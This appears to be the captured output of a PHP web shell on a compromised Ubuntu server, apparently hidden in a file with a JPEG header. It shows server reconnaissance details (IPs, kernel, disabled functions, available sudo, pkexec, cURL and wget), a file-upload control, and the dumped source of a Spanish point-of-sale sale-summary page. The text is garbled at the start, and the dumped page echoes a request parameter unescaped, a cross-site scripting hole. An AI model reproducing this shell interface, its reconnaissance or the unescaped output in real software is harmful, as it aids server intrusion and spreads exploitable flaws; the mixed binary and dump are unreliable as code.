����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.15.148.76 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/view/ |
Upload File : |
<section class="content"> <div class="btn-group pull-right"> <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-download"></i> Descargar <span class="caret"></span> </button> <ul class="dropdown-menu" role="menu"> <li><a href="report/onesell-word.php?id=<?php echo $_GET["id"];?>">Word 2007 (.docx)</a></li> <li><a onclick="thePDF()" id="makepdf" class=""><i class="fa fa-download"></i> Descargar PDF</a> </ul> </div> <h1>Resumen de Traspaso</h1> <?php if(isset($_GET["id"]) && $_GET["id"]!=""):?> <?php $sell = SellData::getById($_GET["id"]); $operations = OperationData::getAllProductsBySellId($_GET["id"]); $total = 0; ?> <?php if(isset($_COOKIE["selled"])){ foreach ($operations as $operation) { // print_r($operation); $qx = OperationData::getQByStock($operation->product_id,StockData::getPrincipal()->id); // print "qx=$qx"; $p = $operation->getProduct(); if($qx==0){ echo "<p class='alert alert-danger'>El producto <b style='text-transform:uppercase;'> $p->name</b> no tiene existencias en inventario.</p>"; }else if($qx<=$p->inventary_min/2){ echo "<p class='alert alert-danger'>El producto <b style='text-transform:uppercase;'> $p->name</b> tiene muy pocas existencias en inventario.</p>"; }else if($qx<=$p->inventary_min){ echo "<p class='alert alert-warning'>El producto <b style='text-transform:uppercase;'> $p->name</b> tiene pocas existencias en inventario.</p>"; } } setcookie("selled","",time()-18600); } ?> <div class="box box-primary"> <table class="table table-bordered"> <?php if($sell->person_id!=""): $client = $sell->getPerson(); ?> <tr> <td style="width:150px;">Cliente</td> <td><?php echo $client->name." ".$client->lastname;?></td> </tr> <?php endif; ?> <?php if($sell->user_id!=""): $user = $sell->getUser(); ?> <tr> <td>Atendido por</td> <td><?php echo $user->name." ".$user->lastname;?></td> </tr> <?php endif; ?> <!-- <tr> <td>Operacion</td> <td><?php echo $sell->operacion;?></td> </tr> <tr> <td>Terminal</td> <td><?php echo $sell->terminal;?></td> </tr> <tr> <td>Archivo</td> <td><?php if($sell->cam!=""){ echo "<a href='./storage/cams/$sell->cam' class='btn btn-default btn-xs'>Descargar</a>";; }else{ echo "No hay"; }?></td> </tr>--> </table> </div> <br> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead> <th>Cantidad</th> <th>Nombre del Producto</th> <th>Precio Unitario</th> <th>Total</th> </thead> <?php foreach($operations as $operation){ $product = $operation->getProduct(); ?> <tr> <?php if($operation->operation_type_id==2):?> <td><?php echo $operation->q ;?></td> <td><?php echo $product->name ;?></td> <td>$ <?php echo number_format($operation->price_out,2,".",",") ;?></td> <td><b>$ <?php echo number_format($operation->q*$operation->price_out,2,".",",");$total+=$operation->q*$operation->price_out;?></b></td> <?php endif; ?> </tr> <?php } ?> </table> </div> <br><br> <div class="row"> <div class="col-md-4"> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td><h4>Descuento:</h4></td> <td><h4>$ <?php echo number_format($sell->discount,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Subtotal:</h4></td> <td><h4>$ <?php echo number_format($total,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Total:</h4></td> <td><h4>$ <?php echo number_format($total- $sell->discount,2,'.',','); ?></h4></td> </tr> </table> </div> <?php if($sell->person_id!=""): $credit=PaymentData::sumByClientId($sell->person_id)->total; ?> <div class="box box-primary"> <table class="table table-bordered"> <tr> <td><h4>Saldo anterior:</h4></td> <td><h4>$ <?php echo number_format($credit-$total,2,'.',','); ?></h4></td> </tr> <tr> <td><h4>Saldo Actual:</h4></td> <td><h4>$ <?php echo number_format($credit,2,'.',','); ?></h4></td> </tr> </table> </div> <?php endif;?> </div> </div> <script type="text/javascript"> function thePDF() { var columns = [ // {title: "Reten", dataKey: "reten"}, {title: "Codigo", dataKey: "code"}, {title: "Cantidad", dataKey: "q"}, {title: "Nombre del Producto", dataKey: "product"}, {title: "Precio unitario", dataKey: "pu"}, {title: "Total", dataKey: "total"}, // ... ]; var columns2 = [ // {title: "Reten", dataKey: "reten"}, {title: "", dataKey: "clave"}, {title: "", dataKey: "valor"}, // ... ]; var rows = [ <?php foreach($operations as $operation): $product = $operation->getProduct(); ?> { "code": "<?php echo $product->id; ?>", "q": "<?php echo $operation->q; ?>", "product": "<?php echo $product->name; ?>", "pu": "$ <?php echo number_format($operation->price_out,2,".",","); ?>", "total": "$ <?php echo number_format($operation->q*$operation->price_out,2,".",","); ?>", }, <?php endforeach; ?> ]; var rows2 = [ <?php if($sell->person_id!=""): $person = $sell->getPerson(); ?> { "clave": "Cliente", "valor": "<?php echo $person->name." ".$person->lastname; ?>", }, <?php endif; ?> ]; var rows3 = [ { "clave": "Descuento", "valor": "$ <?php echo number_format($sell->discount,2,'.',',');; ?>", }, { "clave": "Subtotal", "valor": "$ <?php echo number_format($sell->total,2,'.',',');; ?>", }, { "clave": "Total", "valor": "$ <?php echo number_format($sell->total-$sell->discount,2,'.',',');; ?>", }, ]; var rows4 = [ <?php if($sell->person_id!=""):?> { "clave": "Saldo Anterior", "valor": "$ <?php echo number_format($credit-$total,2,'.',',');; ?>", }, { "clave": "Saldo Actual", "valor": "$ <?php echo number_format($credit,2,'.',',');; ?>", }, <?php endif; ?> ]; // Only pt supported (not mm or in) var doc = new jsPDF('p', 'pt'); doc.setFontSize(26); doc.text("NOTA DE VENTA", 40, 65); doc.setFontSize(14); doc.text("Fecha: <?php echo $sell->created_at; ?>", 40, 80); // doc.text("Operador:", 40, 150); // doc.text("Header", 40, 30); // doc.text("Header", 40, 30); <?php if($sell->person_id!=""):?> doc.autoTable(columns2, rows2, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: 100}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); <?php endif; ?> doc.autoTable(columns, rows, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); doc.autoTable(columns2, rows3, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); <?php if($sell->person_id!=""):?> doc.autoTable(columns2, rows4, { theme: 'grid', overflow:'linebreak', styles: { fillColor: [100, 100, 100] }, columnStyles: { id: {fillColor: 255} }, margin: {top: doc.autoTableEndPosY()+15}, afterPageContent: function(data) { // doc.text("Header", 40, 30); } }); <?php endif; ?> //doc.setFontsize //img = new Image(); //img.src = "liberacion2.jpg"; //doc.addImage(img, 'JPEG', 40, 10, 610, 100, 'monkey'); // Cache the image using the alias 'monkey' doc.setFontSize(20); doc.setFontSize(12); doc.text("Generado por el Sistema Inventio Max v4.1", 40, doc.autoTableEndPosY()+25); doc.save('sell-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf'); //doc.output("datauri"); } </script> <script> $(document).ready(function(){ // $("#makepdf").trigger("click"); }); </script> <?php else:?> 501 Internal Error <?php endif; ?> </section>